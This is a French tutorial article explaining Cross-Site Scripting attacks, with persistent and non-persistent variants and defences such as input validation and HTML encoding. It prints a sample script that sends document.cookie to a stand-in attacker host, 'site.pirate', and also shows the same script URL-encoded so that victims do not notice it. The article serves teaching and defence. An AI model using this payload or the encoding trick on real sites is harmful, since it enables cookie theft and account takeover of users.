Les attaques de type Cross-Site Scripting (notée parfois XSS ou CSS)
sont des attaques visant les sites web affichant dynamiquement du contenu utilisateur
sans effectuer de contrôle et d'encodage des informations saisies
par les utilisateurs.
Les attaques Cross-Site Scripting consistent ainsi à forcer un site web à afficher du code
HTML ou des scripts saisis par les utilisateurs. Le code ainsi inclus (le terme « injecté »
est habituellement utilisé) dans un
site web vulnérable est dit « malicieux ».
Il est courant que les sites affichent des messages d'information reprenant
directement un paramètre entré par l'utilisateur. L'exemple le plus classique
est celui des « pages d'erreur 404 ». Certains sites web modifient
le comportement du site web, afin d'afficher un message d'erreur personnalisée lorsque
la page demandée par le visiteur n'existe pas. Parfois la page générée
dynamiquement affiche le nom de la page demandée. Appelons http://site.vulnerable un
site possédant une telle faille. L'appel de l'URL http://site.vulnerable/page-inexistante
correspondant à une page n'existant pas provoquera l'affichage d'un message d'erreur indiquant
que la page « page-inexistante » n'existe pas. Il est ainsi possible de faire
afficher ce que l'on souhaite au site web en remplaçant
« page-inexistante » par toute autre chaîne de caractère.
Ainsi, si aucun contrôle n'est effectué sur le contenu fourni par l'utilisateur,
il est possible d'afficher du code HTML arbitraire sur une page web, afin d'en changer
l'aspect, le contenu ou bien le comportement.
De plus, la plupart des navigateurs sont dotés de la capacité
d'interprêter des scripts contenus dans les pages web, écrits dans différents
langages, tel que JavaScript, VBScript, Java, ActiveX ou Flash.
Les balises HTML suivantes permettent ainsi d'incorporer des scripts exécutables dans
une page web : <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.
Il est ainsi possible à un pirate d'injecter du code
arbitraire dans la page web, afin que celui-ci soit exécuté sur le poste de l'utilisateur
dans le contexte de sécurité du site vulnérable. Pour ce faire,
il lui suffit de remplacer la valeur du texte destiné à être
affiché par un script, afin que celui s'affiche dans la page web.
Pour peu que le navigateur de l'utilisateur soit configuré pour exécuter
de tels scripts, le code malicieux a accès à l'ensemble des données
partagées par la page web de l'utilisateur et le serveur (cookies, champs de formulaires,
etc.).
Grâce aux vulnérabilités Cross-Site Scripting,
il est possible à un pirate de récupérer par ce biais les données
échangées entre l'utilisateur et le site web concerné. Le code
injecté dans la page web peut ainsi servir à afficher un formulaire
afin de tromper l'utilisateur et lui faire saisir par exemple des informations d'authentification.
Par ailleurs, le script injecté peut permettre de rediriger l'utilisateur vers une page sous le contrôle du pirate,
possédant éventuellement la même interface graphique que le site compromis
afin de tromper l'usager.
Dans un tel contexte, la relation de confiance existant entre l'utilisateur et le site
web est complètement compromise.
Lorsque les données saisies par l'utilisateur sont stockées
sur le serveur pendant un certain temps (cas d'un forum de discussion par exemple), l'attaque est dite « persistante ».
En effet, tous les utilisateurs du site web accès à la page dans laquelle le
code nuisible a été introduit.
Les attaques dites « non persistantes » concernent
les pages web dynamiques dans lesquelles une variable entrée par l'utilisateur est affichée
telle quelle (par exemple l'affichage du nom de l'utilisateur, de la page en cours ou du mot
saisie dans un champ de formulaire).
Pour pouvoir exploiter cette vulnérabilité, l'attaquant doit fournir à la victime
une URL modifiée, passant le code à insérer en paramètre. Néanmoins,
une URL contenant des éléments de code Javascript pourra paraître suspecte à
la victime, c'est la raison pour laquelle cette attaque est la plupart réalisée en encodant
les données dans l'URL, afin qu'elle masque le code injecté à l'utilisateur.
Supposons que la page d'accueil de CommentCaMarche.net soit vulnérable à
une attaque de type Cross-Site Scripting car elle permet d'afficher sur la page d'accueil
un message de bienvenue affichant le nom de l'utilisateur passé en paramètre :
http://www.commentcamarche.net/?nom=Jeff
Une personne malintentionnée peut réaliser une attaque
Cross-Site Scripting non persistance en fournissant à une victime une adresse remplaçant
le nom « Jeff » par du code HTML. Il peut notamment passer en
paramètre le code Javascript suivant, servant à rediriger l'utilisateur vers
une page dont il a la maîtrise :
<SCRIPT>
document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie
</SCRIPT>
Le code ci-dessus récupère les cookies de l'utilisateur
et les transmet en paramètre à un script CGI.
Un tel code passé en paramètre serait trop visible :
http://www.commentcamarche.net/?nom=<SCRIPT>document.location
='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
En revanche, l'encodage de l'URL permet de masquer l'attaque :
http://www.commentcamarche.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65%
6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74%
65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e%
63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
53%43%52%49%50%54%3e
Dans l'exemple précédent, l'ensemble du script est passé en
paramètre de l'URL. La méthode GET, permettant de passer des paramètres
dans l'URL est limitée à une longueur totale de 255 caractères pour l'URL.
Grâce à l'attribut SRC de la balise <SCRIPT>, il est possible
d'exécuter du code malicieux stocké dans un script sur un serveur distant !
Dans la mesure où il est ainsi possible d'injecter du code à partir d'une
source distante, ce type d'attaque porte le nom de « Cross-Site »
(« Cross-Site » signifie littéralement « entre sites »).
Du côté de l'utilisateur, il est possible de se
prémunir contre les attaques CSS en configurant le navigateur de manière
à empêcher l'exécution des langages de scripts. Dans la réalité
cette solution est souvent trop contraignante pour l'utilisateur car de nombreux
sites refuseront de fonctionner correctement en l'absence de possibilité
d'exécution de code dynamique.
La seule façon viable d'empêcher les attaques Cross-Site Scripting
conssite à concevoir des sites web non vulnérables. Pour ce faire, le
concepteur d'un site web doit :
- Vérifier le format des données entrées par les utilisateurs ;
- Encoder les données utilisateurs affichées en remplaçant les caractères
spéciaux par leurs équivalents HTML.
Le terme « sanitarisation » (en anglais « sanitation »)
désigne toutes les actions permettant de rendre sûr une donnée saisie
par un utilisateur.
|